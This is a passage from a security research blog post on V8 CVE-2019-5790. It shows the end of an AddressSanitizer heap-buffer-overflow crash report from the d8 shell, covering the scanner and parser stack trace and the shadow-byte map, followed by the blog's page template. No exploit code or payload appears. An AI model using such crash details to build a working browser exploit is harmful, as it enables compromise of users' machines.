770    #10 0x7f4700530763 in int v8::internal::Utf16CharacterStream::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:75:0
771    #11 0x7f4700530763 in void v8::internal::Scanner::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:599:0
772    #12 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:259:0
773    #13 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeyword() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:180:0
774    #14 0x7f4700530763 in v8::internal::Scanner::ScanSingleToken() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:490:0
775    #15 0x7f4700530763 in v8::internal::Scanner::Scan(v8::internal::Scanner::TokenDesc*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:515:0
776    #16 0x7f4700530763 in v8::internal::Scanner::Next() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.cc:230:0
777    #17 0x7f470048b428 in v8::internal::ParserBase&lt;v8::internal::Parser&gt;::Consume(v8::internal::Token::Value) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:738:36
778    #18 0x7f470048b428 in v8::internal::ParserBase&lt;v8::internal::Parser&gt;::ParseVariableDeclarations(v8::internal::ParserBase&lt;v8::internal::Parser&gt;::VariableDeclarationContext, v8::internal::ParserBase&lt;v8::internal::Parser&gt;::DeclarationParsingResult*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:3418:0
779    #19 0x7f47003f7864 in v8::internal::ParserBase&lt;v8::internal::Parser&gt;::ParseVariableStatement(v8::internal::ParserBase&lt;v8::internal::Parser&gt;::VariableDeclarationContext, v8::internal::ZoneList&lt;v8::internal::AstRawString const*&gt;*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:4673:3
780    #20 0x7f47003d9be3 in v8::internal::ParserBase&lt;v8::internal::Parser&gt;::ParseStatementList(v8::internal::ScopedPtrList&lt;v8::internal::Statement&gt;*, v8::internal::Token::Value) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:4436:23
781    #21 0x7f47003d9be3 in v8::internal::Parser::DoParseProgram(v8::internal::Isolate*, v8::internal::ParseInfo*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser.cc:578:0
782    #22 0x7f47003d734a in v8::internal::Parser::ParseProgram(v8::internal::Isolate*, v8::internal::ParseInfo*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser.cc:497:29
783    #23 0x7f47004a20fc in v8::internal::parsing::ParseProgram(v8::internal::ParseInfo*, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parsing.cc:39:19
784    #24 0x7f46ff22ef73 in v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo*, v8::internal::Isolate*, v8::internal::IsCompiledScope*) /home/mtowalski/v8/v8/out/x64.release/../../src/compiler.cc:919:8
785    #25 0x7f46ff232517 in v8::internal::Compiler::GetFunctionFromEval(v8::internal::Handle&lt;v8::internal::String&gt;, v8::internal::Handle&lt;v8::internal::SharedFunctionInfo&gt;, v8::internal::Handle&lt;v8::internal::Context&gt;, v8::internal::LanguageMode, v8::internal::ParseRestriction, int, int, int) /home/mtowalski/v8/v8/out/x64.release/../../src/compiler.cc:1393:10
786    #26 0x7f4700706007 in v8::internal::CompileGlobalEval(v8::internal::Isolate*, v8::internal::Handle&lt;v8::internal::String&gt;, v8::internal::Handle&lt;v8::internal::SharedFunctionInfo&gt;, v8::internal::LanguageMode, int, int) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:322:3
787    #27 0x7f4700706007 in v8::internal::__RT_impl_Runtime_ResolvePossiblyDirectEval(v8::internal::Arguments, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:353:0
788    #28 0x7f4700706007 in v8::internal::Runtime_ResolvePossiblyDirectEval(int, unsigned long*, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:331:0
789    #29 0x7f4701054bc5 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit ??:0:0
790    #30 0x7f47010956ce in Builtins_CallRuntimeHandler ??:0:0
791    #31 0x7f4700fb2bf6 in Builtins_InterpreterEntryTrampoline ??:0:0
792    #32 0x7f4700fb029f in Builtins_JSEntryTrampoline ??:0:0
793    #33 0x7f4700fb002c in Builtins_JSEntry ??:0:0
794    #34 0x7f46ffc09b90 in v8::internal::GeneratedCode&lt;unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**&gt;::Call(unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**) /home/mtowalski/v8/v8/out/x64.release/../../src/simulator.h:124:12
795    #35 0x7f46ffc09b90 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&amp;) /home/mtowalski/v8/v8/out/x64.release/../../src/execution.cc:293:0
796    #36 0x7f46ffc08ba4 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle&lt;v8::internal::Object&gt;, v8::internal::Handle&lt;v8::internal::Object&gt;, int, v8::internal::Handle&lt;v8::internal::Object&gt;*) /home/mtowalski/v8/v8/out/x64.release/../../src/execution.cc:369:10
797    #37 0x7f46feeca7e3 in v8::Script::Run(v8::Local&lt;v8::Context&gt;) /home/mtowalski/v8/v8/out/x64.release/../../src/api.cc:2135:7
798    #38 0x559891d68230 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local&lt;v8::String&gt;, v8::Local&lt;v8::Value&gt;, v8::Shell::PrintResult, v8::Shell::ReportExceptions, v8::Shell::ProcessMessageQueue) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:533:28
799    #39 0x559891d84f4b in v8::SourceGroup::Execute(v8::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:2466:10
800    #40 0x559891d8bfb3 in v8::Shell::RunMain(v8::Isolate*, int, char**, bool) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:2948:34
801    #41 0x559891d90ba6 in v8::Shell::Main(int, char**) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:3500:16
802    #42 0x7f46fc7082e0 in __libc_start_main ??:0:0
803
804SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/mtowalski/v8/v8/out/x64.release/d8+0x1274ad)
805Shadow bytes around the buggy address:
806  0x0c0c7fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
807  0x0c0c7fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
808  0x0c0c7fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
809  0x0c0c7fff8350: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
810  0x0c0c7fff8360: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
811=&gt;0x0c0c7fff8370: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
812  0x0c0c7fff8380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
813  0x0c0c7fff8390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
814  0x0c0c7fff83a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
815  0x0c0c7fff83b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
816  0x0c0c7fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
817Shadow byte legend (one shadow byte represents 8 application bytes):
818  Addressable:           00
819  Partially addressable: 01 02 03 04 05 06 07
820  Heap left redzone:       fa
821  Freed heap region:       fd
822  Stack left redzone:      f1
823  Stack mid redzone:       f2
824  Stack right redzone:     f3
825  Stack after return:      f5
826  Stack use after scope:   f8
827  Global redzone:          f9
828  Global init order:       f6
829  Poisoned by user:        f7
830  Container overflow:      fc
831  Array cookie:            ac
832  Intra object redzone:    bb
833  ASan internal:           fe
834  Left alloca redzone:     ca
835  Right alloca redzone:    cb
836  Shadow gap:              cc
837==3074==ABORTING
838
839</pre></table></code></div></div></div><div class="post-tail-wrapper text-muted"><div class="post-meta mb-3"> <i class="far fa-folder-open fa-fw mr-1"></i> <a href='/categories/analysis/'>Analysis</a></div><div class="post-tags"> <i class="fa fa-tags fa-fw mr-1"></i> <a href="/tags/v8/" class="post-tag no-text-decoration" >v8</a> <a href="/tags/cve-2019-5790/" class="post-tag no-text-decoration" >CVE-2019-5790</a></div><div class="post-tail-bottom d-flex justify-content-between align-items-center mt-3 pt-5 pb-2"><div class="license-wrapper"> This post is licensed under <a href="https://creativecommons.org/licenses/by/4.0/"> CC BY 4.0 </a> by the author.</div><div class="share-wrapper"> <span class="share-label text-muted mr-1">Share</span> <span class="share-icons"> <a href="https://twitter.com/intent/tweet?text=V8 CVE-2019-5790 - Browser Research&url=https://mtowalski.github.io//posts/v8-CVE-2019-5790/" data-toggle="tooltip" data-placement="top" title="Twitter" target="_blank" rel="noopener" aria-label="Twitter"> <i class="fa-fw fab fa-twitter"></i> </a> <a href="https://www.facebook.com/sharer/sharer.php?title=V8 CVE-2019-5790 - Browser Research&u=https://mtowalski.github.io//posts/v8-CVE-2019-5790/" data-toggle="tooltip" data-placement="top" title="Facebook" target="_blank" rel="noopener" aria-label="Facebook"> <i class="fa-fw fab fa-facebook-square"></i> </a> <a href="https://telegram.me/share?text=V8 CVE-2019-5790 - Browser Research&url=https://mtowalski.github.io//posts/v8-CVE-2019-5790/" data-toggle="tooltip" data-placement="top" title="Telegram" target="_blank" rel="noopener" aria-label="Telegram"> <i class="fa-fw fab fa-telegram"></i> </a> <i class="fa-fw fas fa-link small" onclick="copyLink('', 'Link copied successfully!')" data-toggle="tooltip" data-placement="top" title="Copy link"> </i> </span></div></div></div></div></div><div id="panel-wrapper" class="col-xl-3 pl-2 text-muted topbar-down"><div class="access"><div id="access-lastmod" class="post"> <span>Recent Update</span><ul class="post-content pl-0 pb-1 ml-1 mt-2"><li><a href="/posts/v8-CVE-2019-5790/">V8 CVE-2019-5790</a></ul></div><div id="access-tags"> <span>Trending Tags</span><div class="d-flex flex-wrap mt-3 mb-1 mr-3"> <a class="post-tag" href="/tags/cve-2019-5790/">CVE-2019-5790</a> <a class="post-tag" href="/tags/v8/">v8</a></div></div></div>
839<script src="https://cdn.jsdelivr.net/gh/afeld/[email protected]/dist/bootstrap-toc.min.js"></script>
839<div id="toc-wrapper" class="pl-0 pr-4 mb-5"> <span class="pl-3 pt-2 mb-2">Contents</span><nav id="toc" data-toggle="toc"></nav></div></div></div><div class="row"><div class="col-12 col-lg-11 col-xl-8"><div id="post-extend-wrapper" class="pl-1 pr-1 pl-sm-2 pr-sm-2 pl-md-4 pr-md-4"><div class="post-navigation d-flex justify-content-between"> <span class="btn btn-outline-primary disabled" prompt="Older"><p>-</p></span> <span class="btn btn-outline-primary disabled" prompt="Newer"><p>-</p></span></div></div></div></div><footer class="d-flex w-100 justify-content-center"><div class="d-flex justify-content-between align-items-center"><div class="footer-left"><p class="mb-0"> © 2022 <a href="https://twitter.com/mtowalski1">Marcin Towalski</a>. <span data-toggle="tooltip" data-placement="top" title="Except where otherwise noted, the blog posts on this site are licensed under the Creative Commons Attribution 4.0 International (CC BY 4.0) License by the author.">Some rights reserved.</span></p></div><div class="footer-right"><p class="mb-0"> Powered by <a href="https://jekyllrb.com" target="_blank" rel="noopener">Jekyll</a> with <a href="https://github.com/cotes2020/jekyll-theme-chirpy" target="_blank" rel="noopener">Chirpy</a> theme.</p></div></div></footer></div><div id="search-result-wrapper" class="d-flex justify-content-center unloaded"><div class="col-12 col-sm-11 post-content"><div id="search-hints"><h4 class="text-muted mb-4">Trending Tags</h4><a class="post-tag" href="/tags/cve-2019-5790/">CVE 2019 5790</a> <a class="post-tag" href="/tags/v8/">v8</a></div><div id="search-results" class="d-flex flex-wrap justify-content-center text-muted mt-3"></div></div></div></div><div id="mask"></div><a id="back-to-top" href="#" aria-label="back-to-top" class="btn btn-lg btn-box-shadow" role="button"> <i class="fas fa-angle-up"></i> </a> 
839<script src="https://cdn.jsdelivr.net/npm/[email protected]/dest/simple-jekyll-search.min.js"></script>
839 
839<script> SimpleJekyllSearch({ searchInput: document.getElementById('search-input'), resultsContainer: document.getElementById('search-results'), json: '/assets/js/data/search.json', searchResultTemplate: '<div class="pl-1 pr-1 pl-sm-2 pr-sm-2 pl-lg-4 pr-lg-4 pl-xl-0 pr-xl-0"> <a href="https://mtowalski.github.io/{url}">{title}</a><div class="post-meta d-flex flex-column flex-sm-row text-muted mt-1 mb-1"> {categories} {tags}</div><p>{snippet}</p></div>', noResultsText: '<p class="mt-5">Oops! No result founds.</p>', templateMiddleware: function(prop, value, template) { if (prop === 'categories') { if (value === '') { return `${value}`; } else { return `<div class="mr-sm-4"><i class="far fa-folder fa-fw"></i>${value}</div>`; } } if (prop === 'tags') { if (value === '') { return `${value}`; } else { return `<div><i class="fa fa-tag fa-fw"></i>${value}</div>`; } } } }); </script>
839 
839<script src="https://cdn.jsdelivr.net/combine/npm/lozad/dist/lozad.min.js,npm/magnific-popup@1/dist/jquery.magnific-popup.min.js"></script>
839 
839<script defer src="/assets/js/dist/post.min.js"></script>
839 
839<script src="https://cdn.jsdelivr.net/combine/npm/[email protected],npm/bootstrap@4/dist/js/bootstrap.min.js"></script>
839 
839<script defer src="/app.js"></script>
839 
839<script defer src="https://www.googletagmanager.com/gtag/js?id="></script>
839 
839<script> document.addEventListener("DOMContentLoaded", function(event) { window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', ''); }); </script>
vendor: 1 bytes, line 839
839

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.